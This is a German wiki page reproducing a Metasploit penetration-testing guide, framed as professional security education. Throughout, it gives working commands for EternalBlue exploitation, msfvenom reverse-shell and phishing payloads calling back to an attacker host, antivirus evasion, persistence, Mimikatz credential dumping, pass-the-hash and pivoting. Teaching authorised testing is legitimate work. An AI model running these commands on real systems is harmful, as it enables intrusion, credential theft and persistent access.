Metasploit Einführung: Unterschied zwischen den Versionen
(Die Seite wurde neu angelegt: „= Metasploit – Vollständiger Leitfaden zur Cybersicherheit = ''Quelle: The Cyber Bite – Metasploit Complete Cyber Security Guide'' ---- == Kapitel 1: E…“) |
|||
| Zeile 1: | Zeile 1: | ||
| − | = Metasploit – Vollständiger Leitfaden zur Cybersicherheit = | + | == Metasploit – Vollständiger Leitfaden zur Cybersicherheit == |
''Quelle: The Cyber Bite – Metasploit Complete Cyber Security Guide'' | ''Quelle: The Cyber Bite – Metasploit Complete Cyber Security Guide'' | ||
Aktuelle Version vom 11. Mai 2026, 05:36 Uhr
Metasploit – Vollständiger Leitfaden zur Cybersicherheit
Quelle: The Cyber Bite – Metasploit Complete Cyber Security Guide
Kapitel 1: Einführung in Metasploit
Metasploit ist das weltweit am weitesten verbreitete Open-Source-Framework für Penetrationstests. Es wurde 2003 von H.D. Moore entwickelt und 2009 von Rapid7 übernommen. Es bietet eine vollständige Umgebung zur Entwicklung, zum Testen und zur Ausführung von Exploits gegen entfernte Zielsysteme. Mit Tausenden von Modulen für Exploits, Payloads, Encoder und Auxiliaries ist Metasploit das De-facto-Standardwerkzeug im Bereich Offensive Security.
Architekturübersicht
| Komponente | Beschreibung |
|---|---|
| msfconsole | Primäre interaktive Kommandozeilen-Schnittstelle des Frameworks |
| Module | Wiederverwendbare Code-Bausteine: Exploits, Payloads, Auxiliaries, Encoder, NOPs, Evasion |
| Datenbank (PostgreSQL) | Speichert Hosts, Dienste, Schwachstellen, Beute und Sitzungsdaten |
| msfvenom | Eigenständiges Tool zur Payload-Generierung und Kodierung |
| Listeners / Handler | Empfangen von Reverse Shells und Meterpreter-Sitzungen |
| Workspaces | Verschiedene Engagements in separaten Datenbank-Namespaces organisieren |
| Rex Library | Kern-Ruby-Bibliothek für Sockets, Protokolle, Kodierung und mehr |
Rechtlicher und ethischer Hinweis
Kapitel 2: Installation & Einrichtung
Metasploit ist auf Kali Linux und Parrot OS vorinstalliert. Auf anderen Systemen muss es manuell installiert werden. Für den vollen Funktionsumfang ist eine PostgreSQL-Datenbank erforderlich.
Kali Linux (empfohlen – vorinstalliert)
# Aktualisieren und starten – Metasploit ist auf Kali vorinstalliert
sudo apt update && sudo apt upgrade -y
sudo msfdb init # PostgreSQL-Datenbank initialisieren
msfconsole # Metasploit starten
Ubuntu / Debian Installation
# Metasploit auf Ubuntu/Debian installieren
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfinstall > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
sudo msfdb init
msfconsole
Datenbank-Einrichtung & Überprüfung
msf6 > db_status # Datenbankverbindung prüfen
msf6 > workspace # Alle Workspaces auflisten
msf6 > workspace -a pentest # Neuen Workspace 'pentest' anlegen
msf6 > workspace pentest # Zum Workspace 'pentest' wechseln
Kapitel 3: Metasploit Console (msfconsole)
msfconsole ist die primäre Schnittstelle für alle Metasploit-Operationen. Sie bietet eine leistungsstarke Befehlsshell mit Tab-Vervollständigung, Verlauf und Zugriff auf jedes Modul im Framework.
Wichtige msfconsole-Befehle
| Befehl | Beschreibung |
|---|---|
| help / ? | Hilfemenü anzeigen oder Hilfe zu einem bestimmten Befehl |
| search <Begriff> | Alle Module nach Name, CVE, Plattform oder Typ durchsuchen |
| use <Modul> | Ein Modul auswählen |
| info | Detaillierte Informationen zum ausgewählten Modul anzeigen |
| show options | Konfigurierbare Optionen des aktuellen Moduls anzeigen |
| show payloads | Kompatible Payloads für den aktuellen Exploit auflisten |
| set <OPTION> <Wert> | Einen Moduloptionswert setzen |
| setg <OPTION> <Wert> | Eine globale Option setzen (bleibt modulübergreifend erhalten) |
| run / exploit | Das ausgewählte Modul ausführen |
| sessions | Alle aktiven Sitzungen auflisten |
| sessions -i <id> | Mit einer bestimmten Sitzung interagieren |
| back | Aktuellen Modulkontext verlassen |
| exit | msfconsole beenden |
msf6 > search type:exploit platform:windows cve:2021 # Gefilterte Suche
msf6 > use exploit/windows/smb/ms17_010_eternalblue # EternalBlue laden
msf6 > show options # Pflichtoptionen anzeigen
msf6 > set RHOSTS 192.168.1.100 # Ziel-IP setzen
msf6 > set LHOST 192.168.1.10 # Angreifer-IP setzen
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp # Payload wählen
msf6 > run # Exploit starten
Kapitel 4: Module im Detail
Metasploit-Module sind die Bausteine jeder Operation. Das Verständnis jedes Modultyps ist für effektives Penetrationstesting unerlässlich.
Modultypen
| Modultyp | Beschreibung |
|---|---|
| exploit | Code, der eine Schwachstelle ausnutzt, um einen Payload auszuführen |
| payload | Code, der nach erfolgreicher Ausnutzung auf dem Ziel läuft |
| auxiliary | Scanner, Fuzzer, Brute-Force-Tools und andere unterstützende Module |
| post | Post-Exploitation-Module, die innerhalb einer aktiven Sitzung laufen |
| encoder | Verschleiert Payloads zur Umgehung von Antivirus und IDS/IPS |
| nop | No-Operation-Sleds für Shellcode-Stabilität |
| evasion | Erzeugt ausführbare Dateien, die Sicherheitsprodukte umgehen |
Payload-Typen
| Payload-Typ | Beschreibung |
|---|---|
| singles | In sich geschlossener Payload – erledigt alles in einem Block |
| stagers | Kleiner Payload, der eine Verbindung aufbaut und dann Stages nachlädt |
| stages | Wird vom Stager nachgeladen – vollständige Meterpreter-Shell, VNC usw. |
| inline (non-staged) | Kein "/" im Namen, z.B. windows/meterpreter_reverse_tcp |
| staged | Hat "/" als Trennzeichen, z.B. windows/meterpreter/reverse_tcp |
| reverse_tcp | Ziel verbindet sich zurück zum Angreifer – umgeht Firewalls |
| bind_tcp | Angreifer verbindet sich zum Ziel – nützlich in eingeschränkten Netzwerken |
Modulpfad-Konvention
# Modulpfad-Format:
# <typ>/<plattform>/<dienst>/<modulname>
# Beispiele:
exploit/windows/smb/ms17_010_eternalblue
auxiliary/scanner/smb/smb_version
post/windows/gather/hashdump
payload/windows/x64/meterpreter/reverse_tcp
Kapitel 5: Scanning & Reconnaissance
Vor der Exploitation ist gründliche Aufklärung entscheidend. Metasploit lässt sich direkt mit Nmap integrieren und bietet eine eigene Suite von Scanner-Modulen für Port-Scanning, Diensterkennung und OS-Fingerprinting.
Datenbankintegriertes Nmap-Scanning
# Nmap-Ergebnisse direkt in die Metasploit-Datenbank importieren
msf6 > db_nmap -sV -sC -O 192.168.1.0/24
msf6 > db_nmap -p 1-65535 -sV --open 10.10.10.0/24
# Gefundene Hosts und Dienste einsehen
msf6 > hosts # Alle gefundenen Hosts auflisten
msf6 > services # Alle offenen Dienste auflisten
msf6 > services -p 445 # Nach Port filtern
msf6 > hosts -R # RHOSTS auf alle gefundenen Hosts setzen
Integrierte Scanner-Module
| Modul | Beschreibung |
|---|---|
| auxiliary/scanner/portscan/tcp | TCP-Port-Scanner – schnell und zuverlässig |
| auxiliary/scanner/smb/smb_version | SMB-Version und OS-Informationen erkennen |
| auxiliary/scanner/http/http_version | Webserver-Typ und -Version identifizieren |
| auxiliary/scanner/ssh/ssh_version | SSH-Server-Versionen fingerprinting |
| auxiliary/scanner/ftp/ftp_version | FTP-Server-Banner identifizieren |
| auxiliary/scanner/rdp/rdp_scanner | Offene RDP-Dienste (Port 3389) erkennen |
| auxiliary/scanner/vnc/vnc_login | VNC-Dienste scannen und Zugangsdaten testen |
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > set THREADS 50
msf6 > run
Kapitel 6: Schwachstellenforschung
Nach der Aufklärung ist der nächste Schritt die Identifizierung vorhandener Schwachstellen auf den Zielsystemen. Metasploit bietet leistungsstarke Suchfunktionen und Integration mit externen Schwachstellendatenbanken.
Module suchen
msf6 > search ms17-010 # Nach Name suchen
msf6 > search cve:2021-44228 # Nach CVE suchen (Log4Shell)
msf6 > search type:exploit platform:linux # Nach Typ und Plattform filtern
msf6 > search rank:excellent # Nur excellent-bewertete Exploits
msf6 > search name:eternalblue # Nach Exploit-Name suchen
msf6 > info exploit/windows/smb/ms17_010_eternalblue # Vollständige Moduldetails
Modul-Bewertungssystem
| Bewertung | Bedeutung |
|---|---|
| ExcellentRanking | Wird den Dienst nicht zum Absturz bringen; sehr zuverlässig |
| GreatRanking | Zuverlässig mit guten Standardoptionen |
| GoodRanking | Funktioniert in gängigen Szenarien |
| NormalRanking | Funktioniert, kann aber spezifische Bedingungen erfordern |
| AverageRanking | Schwer zuverlässig einzusetzen |
| LowRanking | Nahezu keine Erfolgswahrscheinlichkeit |
| ManualRanking | Erfordert manuelle Schritte; für DoS-Exploits verwendet |
Integration von Schwachstellenscannern
# Nessus / OpenVAS Scan-Ergebnisse importieren
msf6 > db_import /pfad/zu/nessus_report.xml
msf6 > db_import /pfad/zu/openvas_report.xml
# Nach dem Import Schwachstellen einsehen
msf6 > vulns # Alle bekannten Schwachstellen auflisten
msf6 > vulns -p 445 # Schwachstellen nach Port filtern
Kapitel 7: Exploitation – Grundlagen
Exploitation ist die Kernkompetenz in der Offensive Security. Metasploit vereinfacht diesen Prozess und gibt Sicherheitsfachleuten gleichzeitig die vollständige Kontrolle über jeden Parameter des Angriffs.
Standard-Exploitations-Workflow
| Schritt | Beschreibung |
|---|---|
| Schritt 1 | Passendes Exploit-Modul mit "search" und "use" suchen und auswählen |
| Schritt 2 | Moduloptionen mit "show options" und "info" prüfen |
| Schritt 3 | Pflichtoptionen setzen: RHOSTS (Ziel), LHOST (Angreifer), LPORT (Listener-Port) |
| Schritt 4 | Passenden Payload mit "set PAYLOAD" oder "show payloads" auswählen |
| Schritt 5 | Alle Einstellungen mit "show options" prüfen, dann mit "run" oder "exploit" ausführen |
| Schritt 6 | Bei Erfolg öffnet sich eine Sitzung – mit "sessions -i <id>" interagieren |
EternalBlue (MS17-010) – Klassisches Beispiel
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > show options # Prüfen ob alles korrekt konfiguriert ist
msf6 > run
# Erfolgreiche Ausgabe:
# [*] Started reverse TCP handler on 192.168.1.10:4444
# [+] 192.168.1.100:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# [*] Meterpreter session 1 opened
Kapitel 8: Meterpreter – Fortgeschrittene Nutzung
Meterpreter (Meta-Interpreter) ist ein fortschrittlicher, dynamisch erweiterbarer Payload, der vollständig im Arbeitsspeicher läuft, keine Dateien auf der Festplatte hinterlässt und über verschlüsselte Kanäle kommuniziert. Es ist das leistungsstärkste Post-Exploitation-Tool im Metasploit-Framework.
Wichtige Meterpreter-Befehle
| Befehl | Beschreibung |
|---|---|
| sysinfo | Systeminformationen des Ziels anzeigen |
| getuid | Aktuelle Benutzeridentität anzeigen |
| getpid | Meterpreter-Prozess-ID anzeigen |
| ps | Laufende Prozesse auf dem Ziel auflisten |
| migrate <PID> | Zu einem anderen Prozess migrieren (Stabilität/Tarnung) |
| shell | In eine native OS-Befehlsshell wechseln |
| upload <Datei> | Eine Datei auf das Ziel hochladen |
| download <Datei> | Eine Datei vom Ziel herunterladen |
| ls / dir | Dateien im aktuellen Verzeichnis auflisten |
| cd <Pfad> | Verzeichnis wechseln |
| pwd | Aktuelles Arbeitsverzeichnis ausgeben |
| hashdump | Windows-Passwort-Hashes dumpen (erfordert SYSTEM) |
| screenshot | Screenshot des Ziel-Desktops aufnehmen |
| keyscan_start | Keylogger auf dem Ziel starten |
| keyscan_dump | Aufgezeichnete Tastatureingaben ausgeben |
| run post/<Modul> | Ein Post-Exploitation-Modul ausführen |
Meterpreter-Sitzung – Typischer Workflow
meterpreter > sysinfo # Ziel-OS und Architektur identifizieren
meterpreter > getuid # Aktuelles Berechtigungsniveau prüfen
meterpreter > getsystem # Automatische Privilegienerweiterung versuchen
meterpreter > getuid # Berechtigungen nach Eskalation bestätigen
meterpreter > ps # Prozesse auflisten
meterpreter > migrate 1234 # Zu stabilem/verdecktem Prozess migrieren
meterpreter > hashdump # NTLM-Passwort-Hashes dumpen
meterpreter > run post/multi/recon/local_exploit_suggester # Lokale Exploits finden
meterpreter > background # Sitzung in den Hintergrund senden
Kapitel 9: Post-Exploitation
Post-Exploitation umfasst alles, was nach dem initialen Zugriff passiert – Privilegienerweiterung, Persistenz, laterale Bewegung, Credential Harvesting und Datenexfiltration. Metasploit enthält Hunderte von Post-Modulen.
Privilegienerweiterung
meterpreter > getsystem # Alle automatischen PrivEsc-Techniken versuchen
meterpreter > run post/multi/recon/local_exploit_suggester # Lokale Exploits finden
meterpreter > run post/windows/escalate/getsystem # Windows-spezifisch
meterpreter > background
# Lokalen Exploit für manuelle PrivEsc verwenden
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 > set SESSION 1
msf6 > run
Persistenz-Mechanismen
# Persistenz über Registry Run Key (Windows)
meterpreter > run post/windows/manage/persistence_exe STARTUP=REGISTRY
# Persistenz über geplante Aufgabe
meterpreter > run post/windows/manage/persistence STARTUP=SCHEDULER
# Linux Cron-basierte Persistenz
meterpreter > run post/linux/manage/cron_persistence
Credential Harvesting
| Modul | Beschreibung |
|---|---|
| post/windows/gather/hashdump | Lokale SAM-Datenbank NTLM-Hashes dumpen |
| post/windows/gather/credentials/credential_collector | Gespeicherte Zugangsdaten sammeln |
| post/multi/gather/ssh_creds | SSH-Private-Keys und bekannte Hosts sammeln |
| post/windows/gather/smart_hashdump | Domänen-fähiges intelligentes Hash-Dumping |
| post/windows/gather/lsa_secrets | LSA-Secrets dumpen (gecachte Passwörter) |
| post/multi/gather/env | Umgebungsvariablen sammeln (können Secrets enthalten) |
Kapitel 10: Payloads & msfvenom
msfvenom ist das eigenständige Payload-Generierungstool, das die älteren Tools msfpayload und msfencode ersetzt hat. Es erstellt benutzerdefinierten Shellcode, ausführbare Dateien, Skripte und kodierte Payloads für die Übertragung an Zielsysteme.
msfvenom – Wichtige Befehle
# Alle verfügbaren Payloads auflisten
msfvenom --list payloads
# Windows Reverse-TCP-Executable generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exe
# Linux ELF-Binary generieren
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf
# PHP Web Shell generieren
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f raw -o shell.php
# Python-Payload generieren
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f raw -o shell.py
# Android APK generieren
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -o malicious.apk
Listener einrichten
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run -j # -j startet den Handler als Hintergrund-Job
Kapitel 11: Auxiliary-Module
Auxiliary-Module sind unterstützende Werkzeuge für Scanning, Brute-Force, Fuzzing und andere Aufgaben, die keine direkte Exploitation umfassen.
Wichtige Auxiliary-Module
| Modul | Beschreibung |
|---|---|
| auxiliary/scanner/portscan/tcp | TCP-Port-Scanner |
| auxiliary/scanner/smb/smb_ms17_010 | EternalBlue-Scanner-Version |
| auxiliary/scanner/http/dir_scanner | Verzeichnisse und Dateien auf Webservern brute-forcen |
| auxiliary/scanner/ftp/ftp_login | FTP-Zugangsdaten brute-forcen |
| auxiliary/scanner/ssh/ssh_login | SSH-Zugangsdaten brute-forcen |
| auxiliary/scanner/smb/smb_login | SMB-Zugangsdaten brute-forcen |
Kapitel 12: Evasion & Obfuskation
Moderne Sicherheitsprodukte – Antivirus, EDR und IDS/IPS – erkennen Metasploit-Payloads aktiv. Das Verständnis von Evasionstechniken ist für realistische Penetrationstests und Red-Team-Operationen unerlässlich.
Payloads mit msfvenom kodieren
# Verfügbare Encoder auflisten
msfvenom --list encoders
# Mit shikata_ga_nai kodieren (polymorphes XOR-Additive-Feedback)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 -f exe -o encoded_shell.exe
# Mehrschichtige Kodierung
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o multi.exe
# Rohen Shellcode für benutzerdefinierte Injektion generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f c > shellcode.c
Evasion-Modul
msf6 > use evasion/windows/windows_defender_exe
msf6 > set FILENAME evil.exe
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run
Kapitel 13: Pivoting & laterale Bewegung
Pivoting ermöglicht es einem Angreifer, einen kompromittierten Host als Relais zu nutzen, um andere Systeme in einem ansonsten nicht erreichbaren Netzwerksegment anzugreifen. Metasploit unterstützt nativ das Routing von Traffic durch aktive Sitzungen.
Routen über eine Sitzung hinzufügen
# Nach Erhalt einer Meterpreter-Sitzung auf 192.168.1.100
msf6 > route add 10.10.10.0/24 1 # 10.x-Traffic durch Sitzung 1 routen
msf6 > route print # Routing-Tabelle überprüfen
# Internes Netzwerk über den Pivot scannen
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.10.0/24
msf6 > set PORTS 22,80,443,445,3389
msf6 > run
SOCKS-Proxy für Tool-Pivoting
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
# /etc/proxychains4.conf konfigurieren:
# socks5 127.0.0.1 1080
# Nun proxychains mit beliebigem Tool verwenden
# proxychains nmap -sT -Pn 10.10.10.50
# proxychains ssh user@10.10.10.50
Port-Forwarding
# Lokalen Port 8080 auf internen Dienst 10.10.10.50:80 weiterleiten
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50
meterpreter > portfwd list # Aktive Port-Weiterleitungen anzeigen
meterpreter > portfwd delete -l 8080 # Weiterleitung entfernen
Kapitel 14: Reporting & Automatisierung
Professionelle Penetrationstester müssen jede Aktion und jeden Fund dokumentieren. Metasploit bietet integrierte Reporting-Funktionen und Ressourcen-Skripte zur Automatisierung.
Ressourcen-Skripte (Automatisierung)
# Ressourcen-Skript erstellen (wiederverwendbare Befehlsliste)
cat > quick_scan.rc << 'EOF'
workspace -a engagement_01
db_nmap -sV -sC -O 192.168.1.0/24
hosts
services
EOF
# Ressourcen-Skript ausführen
msfconsole -r quick_scan.rc
# Aktuelle Sitzungsbefehle als Ressourcen-Skript speichern
makerc /home/kali/session_commands.rc
Datenexport
# Workspace-Daten für Reporting exportieren
msf6 > db_export -f xml /home/kali/engagement_report.xml
msf6 > db_export -f pwdump /home/kali/hashes.txt
# Alle gespeicherten Daten einsehen
msf6 > hosts -o /tmp/hosts.csv # Hosts als CSV exportieren
msf6 > services -o /tmp/services.csv # Dienste als CSV exportieren
msf6 > vulns # Alle bekannten Schwachstellen anzeigen
msf6 > creds # Alle gesammelten Zugangsdaten anzeigen
msf6 > loot # Alle erbeuteten Dateien anzeigen
msf6 > notes # Alle Analysten-Notizen anzeigen
Kapitel 15: Realer Pentest-Workflow
Ein professioneller Penetrationstest mit Metasploit folgt einer strukturierten Methodik. Dieses Kapitel beschreibt den vollständigen Lebenszyklus eines Metasploit-basierten externen und internen Netzwerk-Assessments.
Vollständiger Engagement-Workflow
| Phase | Beschreibung |
|---|---|
| Phase 1: Planung | Scope definieren, Genehmigung einholen, isolierte Kali-VM aufsetzen, Datenbank initialisieren |
| Phase 2: Recon | db_nmap-Scans durchführen, Schwachstellenscanner-Ergebnisse importieren, Dienste enumerieren |
| Phase 3: Research | Metasploit nach relevanten Exploit-Modulen durchsuchen, CVE-Details und CVSS-Scores prüfen |
| Phase 4: Exploitation | Ausnutzung identifizierter Schwachstellen versuchen, mit risikoärmsten Modulen beginnen |
| Phase 5: Post-Exploit | Privilegien eskalieren, Zugangsdaten sammeln, Persistenz etablieren (falls im Scope) |
| Phase 6: Pivot | Durch kompromittierte Hosts auf interne Netzwerksegmente zugreifen |
| Phase 7: Reporting | Alle Daten exportieren, Funde mit Screenshots dokumentieren, Behebungsempfehlungen verfassen |
| Phase 8: Cleanup | Alle Persistenzmechanismen, hochgeladene Dateien und Reverse Connections entfernen |
Kapitel 16: Metasploit mit Active Directory
Active-Directory-Umgebungen sind das häufigste Ziel bei modernen Enterprise-Penetrationstests. Metasploit enthält speziell für AD-Infrastruktur entwickelte Module und Werkzeuge wie Mimikatz via Meterpreter.
Wichtige Active-Directory-Angriffsmodule
| Modul / Technik | Beschreibung |
|---|---|
| post/windows/gather/smart_hashdump | Domain-Controller-Hashes dumpen (erfordert DC-Sitzung) |
| auxiliary/scanner/smb/smb_ms17_010 | EternalBlue auf Domain-joined Systems scannen |
| post/windows/gather/credentials/credential_collector | Domain-Zugangsdaten aus dem Arbeitsspeicher sammeln |
| exploit/windows/smb/psexec | Pass-the-Hash-Angriff via SMB mit NTLM-Hashes |
| exploit/windows/smb/psexec_psh | PowerShell-basiertes PsExec zur AV-Umgehung |
| Kiwi-Erweiterung (Mimikatz) | Klartextpasswörter aus dem LSASS-Speicher dumpen |
Pass-the-Hash-Angriff
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 192.168.1.200 # Ziel mit gleichem Hash
msf6 > set SMBUser Administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > run
Kiwi (Mimikatz) Erweiterung
meterpreter > load kiwi # Kiwi/Mimikatz-Erweiterung laden
meterpreter > creds_all # Alle Zugangsdaten aus LSASS dumpen
meterpreter > lsa_dump_secrets # LSA-Secrets dumpen
meterpreter > lsa_dump_sam # SAM-Datenbank dumpen
meterpreter > dcsync /user:Administrator # DCSync-Angriff – Hash vom DC extrahieren
meterpreter > golden_ticket_create /user:backdoor /domain:corp.local /sid:S-1-5-... \
/krbtgt:<hash> /id:500 /ticket:golden.tkt
Kapitel 17: Webanwendungsangriffe
Metasploit enthält zahlreiche Module für das Penetrationstesting von Webanwendungen. Während dedizierte Tools wie Burp Suite und OWASP ZAP umfassender sind, zeichnet sich Metasploit durch die Verkettung von Web-Schwachstellen mit Payload-Delivery aus.
Web-Scanning & Exploitation-Module
| Modul | Beschreibung |
|---|---|
| auxiliary/scanner/http/dir_scanner | Verzeichnisse und Dateien auf Webservern brute-forcen |
| auxiliary/scanner/http/files_dir | Dateien mit gängigen Erweiterungen enumerieren |
| auxiliary/scanner/http/http_put | Auf aktivierte HTTP-PUT-Methode testen |
| exploit/multi/http/struts2_rest_xstream | Apache Struts RCE via REST-Plugin |
| exploit/multi/http/tomcat_mgr_upload | Tomcat Manager authentifizierte RCE |
| exploit/multi/http/wp_admin_shell_upload | WordPress Admin Shell Upload |
| exploit/multi/http/joomla_http_header_rce | Joomla RCE via HTTP-Header-Injection |
| auxiliary/scanner/http/coldfusion_locale_traversal | ColdFusion Path Traversal |
Web Shell via File Upload
# PHP-Web-Shell-Payload generieren
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f raw > shell.php
# Listener einrichten
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD php/meterpreter_reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run -j
# shell.php über die Datei-Upload-Schwachstelle der Anwendung hochladen,
# dann im Browser aufrufen: http://ziel/uploads/shell.php
Kapitel 18: Wireless & Social Engineering
Metasploit lässt sich mit dem Social-Engineer Toolkit (SET) integrieren und enthält Module für clientseitige Angriffe. Diese werden bei Phishing-Kampagnen und physischen Sicherheitsbeurteilungen eingesetzt.
Browser-Exploitation
msf6 > use exploit/multi/browser/java_jre17_jmxbean
msf6 > set SRVHOST 0.0.0.0
msf6 > set URIPATH /
msf6 > set PAYLOAD java/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > run
# URL an das Ziel senden: http://10.10.10.5:8080/
Erstellung von Schadokumenten
# Makro-aktiviertes Word-Dokument generieren
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f vba-exe > macro.vba
# HTA (HTML Application) Payload für Phishing generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f hta-psh -o payload.hta
# PS1 PowerShell-Payload generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f ps1 -o payload.ps1
Kapitel 19: Entwicklung eigener Module
Metasploit-Module werden in Ruby geschrieben. Die Erstellung eigener Module ermöglicht es Penetrationstestern, einzigartige Angriffstechniken zu automatisieren, neue Exploits vor ihrer öffentlichen Veröffentlichung zu integrieren und die Funktionalität für spezifische Engagements anzupassen.
Basis-Auxiliary-Modul-Template
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom TCP Banner Grabber',
'Description' => 'Grabs service banners from open TCP ports',
'Author' => ['Dein Name'],
'License' => MSF_LICENSE
))
register_options([Opt::RPORT(80)])
end
def run_host(ip)
connect
banner = sock.get_once
print_good("#{ip}: #{banner.strip}") if banner
disconnect
end
end
Modul-Speicherorte
# Eigene Module hier ablegen (offizielle Modulverzeichnisse nicht verändern)
~/.msf4/modules/auxiliary/scanner/custom_module.rb
~/.msf4/modules/exploits/custom_exploit.rb
# Module in msfconsole nach Änderungen neu laden
msf6 > reload_all
Kapitel 20: Best Practices & Cheat Sheet
msfconsole Quick Reference
| Befehl | Aktion | Beispiel |
|---|---|---|
| search | Module suchen | search cve:2021-44228 |
| use | Modul auswählen | use exploit/windows/smb/ms17_010_eternalblue |
| info | Moduldetails anzeigen | info |
| show options | Optionen anzeigen | show options |
| set / setg | Optionen setzen | set RHOSTS 10.10.10.0/24 |
| run / exploit | Ausführen | run |
| sessions -l | Sitzungen auflisten | sessions -l |
| sessions -i | Sitzung interagieren | sessions -i 1 |
| sessions -k | Sitzung beenden | sessions -k 1 |
| jobs -l | Jobs auflisten | jobs -l |
| db_nmap | Nmap + DB | db_nmap -sV 10.0.0.0/24 |
| hosts | Hosts anzeigen | hosts -c address,os_name |
| services | Dienste anzeigen | services -p 445 |
| creds | Zugangsdaten anzeigen | creds |
| loot | Beute anzeigen | loot |
msfvenom Quick Reference
| Parameter | Beschreibung |
|---|---|
| -p <payload> | Payload-Typ angeben |
| LHOST= LPORT= | Listener-Host und -Port setzen |
| -f <format> | Ausgabeformat: exe, elf, php, raw, c, py, hta-psh |
| -e <encoder> | Kodierungsalgorithmus: x86/shikata_ga_nai |
| -i <count> | Anzahl der Kodierungsiterationen |
| -b <chars> | Zu vermeidende Zeichen im Shellcode |
| -o <datei> | Ausgabedateipfad |
| --list payloads | Alle verfügbaren Payloads auflisten |
| --list formats | Alle Ausgabeformate auflisten |
Operative Sicherheit – Professionelle Checkliste
- Für jedes Engagement einen dedizierten Workspace verwenden
- Spool-Logging zu Beginn jeder Sitzung aktivieren
- HTTPS (reverse_https) Payloads verwenden, um sich in den normalen Traffic zu mischen
- Sofort zu stabilen Prozessen migrieren (explorer.exe, svchost.exe)
- Payloads in einem lokalen Lab testen, bevor sie in Produktionsengagements eingesetzt werden
- Jeden Befehl, jeden Fund und jede ausgenutzte Schwachstelle dokumentieren
- Nach dem Engagement alle Persistenz-Mechanismen, Shells und hochgeladene Dateien entfernen
- Den definierten Scope niemals überschreiten – stoppen und eskalieren, wenn unerwarteter Zugriff erlangt wird
Ende des Leitfadens – The Cyber Bite | @thecyberbite | Professional Cybersecurity Education